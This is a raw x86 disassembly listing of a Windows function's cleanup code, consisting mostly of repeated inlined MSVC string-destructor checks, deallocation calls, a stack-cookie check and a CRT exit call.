mov eax, dword [edi]
mov ecx, edi
push 1
call dword [eax]
mov ecx, dword [ebp - 0x1e0]
cmp ecx, 0xf
jbe 0x40c409
mov edx, dword [ebp - 0x1f4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c3ff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c778
push ecx
push edx
call fcn.0041bc2c
add esp, 8
mov ecx, dword [ebp - 0xc8]
cmp ecx, 0xf
jbe 0x40c443
mov edx, dword [ebp - 0xdc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c439
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c778
push ecx
push edx
call fcn.0041bc2c
add esp, 8
mov ecx, dword [ebp - 0x180]
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 0xf
mov byte [ebp - 0xdc], 0
cmp ecx, 0xf
jbe 0x40c498
mov edx, dword [ebp - 0x194]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c48e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c778
push ecx
push edx
call fcn.0041bc2c
add esp, 8
mov ecx, dword [ebp - 0x198]
cmp ecx, 0xf
jbe 0x40c4d2
mov edx, dword [ebp - 0x1ac]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c4c8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c778
push ecx
push edx
call fcn.0041bc2c
add esp, 8
mov ecx, dword [ebp - 0x68]
cmp ecx, 0xf
jbe 0x40c506
mov edx, dword [ebp - 0x7c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c4fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c778
push ecx
push edx
call fcn.0041bc2c
add esp, 8
mov ecx, dword [ebp - 0x80]
cmp ecx, 0xf
jbe 0x40c53d
mov edx, dword [ebp - 0x94]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c533
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c778
push ecx
push edx
call fcn.0041bc2c
add esp, 8
mov ecx, dword [ebp - 0x98]
cmp ecx, 0xf
jbe 0x40c577
mov edx, dword [ebp - 0xac]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c56d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c778
push ecx
push edx
call fcn.0041bc2c
add esp, 8
mov ecx, dword [ebp - 0xb0]
cmp ecx, 0xf
jbe 0x40c5b1
mov edx, dword [ebp - 0xc4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c5a7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c778
push ecx
push edx
call fcn.0041bc2c
add esp, 8
mov ecx, dword [ebp - 0xe0]
cmp ecx, 0xf
jbe 0x40c5eb
mov edx, dword [ebp - 0xf4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c5e1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c778
push ecx
push edx
call fcn.0041bc2c
add esp, 8
mov ecx, dword [ebp - 0xf8]
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xe0], 0xf
mov byte [ebp - 0xf4], 0
cmp ecx, 0xf
jbe 0x40c640
mov edx, dword [ebp - 0x10c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c636
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c778
push ecx
push edx
call fcn.0041bc2c
add esp, 8
mov ecx, dword [ebp - 0x110]
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xf8], 0xf
mov byte [ebp - 0x10c], 0
cmp ecx, 0xf
jbe 0x40c695
mov edx, dword [ebp - 0x124]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c68b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c778
push ecx
push edx
call fcn.0041bc2c
add esp, 8
mov ecx, dword [ebp - 0x158]
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0xf
mov byte [ebp - 0x124], 0
cmp ecx, 0xf
jbe 0x40c6ea
mov edx, dword [ebp - 0x16c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c6e0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c778
push ecx
push edx
call fcn.0041bc2c
add esp, 8
lea ecx, [ebp - 0x4c]
call fcn.0040ddc0
mov ecx, dword [ebp - 0x3c]
test ecx, ecx
je 0x40c70c
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x40c70c
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov eax, dword [ebp - 0x128]
cmp eax, 0xf
jbe 0x40c744
mov edx, dword [ebp - 0x13c]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c73a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c778
push ecx
push edx
call fcn.0041bc2c
add esp, 8
lea ecx, [ebp - 0x38]
call fcn.0040de10
mov ecx, dword [ebp - 0x140]
cmp ecx, 0xf
jbe 0x40c788
mov edx, dword [ebp - 0x154]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c77e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40c77e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041bc2c
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041b7a8
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call fcn.00401230
call fcn.00401230
call fcn.00401230
int3